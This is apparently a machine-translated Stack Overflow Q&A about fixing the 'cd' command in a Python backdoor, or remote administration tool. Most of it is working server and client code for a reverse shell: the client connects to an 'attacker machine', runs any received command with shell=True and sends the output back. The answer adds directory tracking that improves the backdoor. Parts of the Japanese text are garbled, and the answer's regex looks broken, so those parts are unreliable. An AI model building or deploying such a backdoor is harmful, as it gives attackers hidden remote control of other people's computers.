2016-12-09 16 views
-2

クライアントがサーバに接続してからサーバがコマンドをクライアントに送信するまで、クライアントからコマンドが送信された情報がサーバに返されます。しかし、私がcdコマンドを使用すると、コマンド出力はサーバーに返されません。クライアントのサブプロセスコードは何ですか?pythonバックドア/リモート管理ツールのコマンドcd以外の作業cd

は、ここに私のサーバーのコードです:

from socket import * 
HOST = 'localhost'     # '' means bind to all interfaces 
PORT = 443    # port 
# create our socket handler 
s = socket(AF_INET, SOCK_STREAM) 
# set is so that when we cancel out we can reuse port 
s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) 
# bind to interface 
s.bind((HOST, PORT)) 
# print we are accepting connections 
print ("Listening on ") 
print (HOST) 
print(PORT) 
# listen for only 10 connection 
s.listen(10) 
# accept connections 
conn, addr = s.accept() 
# print connected by ipaddress 
print 'Connected by', addr 

# receive initial connection 
data = conn.recv(1024) 

while True: 
    task = raw_input("Enter the task needed") 

    if task == "cmd": 
     # start loop 
     while True: 
      command = raw_input("Enter shell command or quit: ") 
      # send shell command 
      conn.send(command) 
      # receive output from linux command 
      data = conn.recv(1024) 
      # print the output of the linux command 
      print data 
      # if we specify quit then break out of loop and close socket 

      if command == "quit": break 

# close socket 
conn.close() 

The Client Code: 

    import socket,subprocess 
HOST = 'localhost' # The remote host 
PORT = 443   # The same port as used by the server 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
# connect to attacker machine 
s.connect((HOST, PORT)) 
# send we are connected 
s.send("Connection Established!") 
while True: 
    # recieve shell command 
    data = s.recv(1024) 
    # do shell command 
    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) 
    # read output 
    stdout_value = proc.stdout.read() + proc.stderr.read() 
    # send output to attacker 
    s.send(stdout_value) 

    # if its quit, then break out and close socket 
    if data == "quit": break 
# close socket 
s.close() 
+0

たぶん、この質問はhttp://stackoverflow.com/q/21406887/1741542 –

+0

'cd'コマンドは、任意の出力を持っていないのに役立ちます。サブプロセスシェルで 'cd'を実行した場合、その変更はサブプロセスの持続時間だけであり、親プロセスまたは今後のサブプロセスでは永続的ではないことに注意してください。 – tdelaney

+0

おかげさまで、私はcdコマンドオプションを追加する必要があると思います – Stegzy

答えて

0

は別に、現在のディレクトリを追跡し、あなたのサブプロセスの呼び出しでそれを使用しています。コマンド・プロセッサーをコマンド出力を返す別の関数に分割するか、終了するためにNoneを分割します。私は野生の推測を取り、cdコマンドの現在のディレクトリを返します...あなたは好きなようにそれを変更することができます。

import re 
import os 

current_path = '.' 

def run_command(data): 
    global current_path 
    if data.startswith("cd "): 
     current_path = re.split(r'\w+', data)[1] 
     return os.path.realpath(current_path) # what do you want to return here? 
    elif data == "quit": 
     return None # check this in main program to quit 
    else: 
     proc = subprocess.Popen(data, shell=True, cwd=current_path, 
      stdout=subprocess.PIPE, stderr=subprocess.PIPE, 
      stdin=subprocess.PIPE) 
     out, err = proc.communicate() 
     return out + err 
関連する問題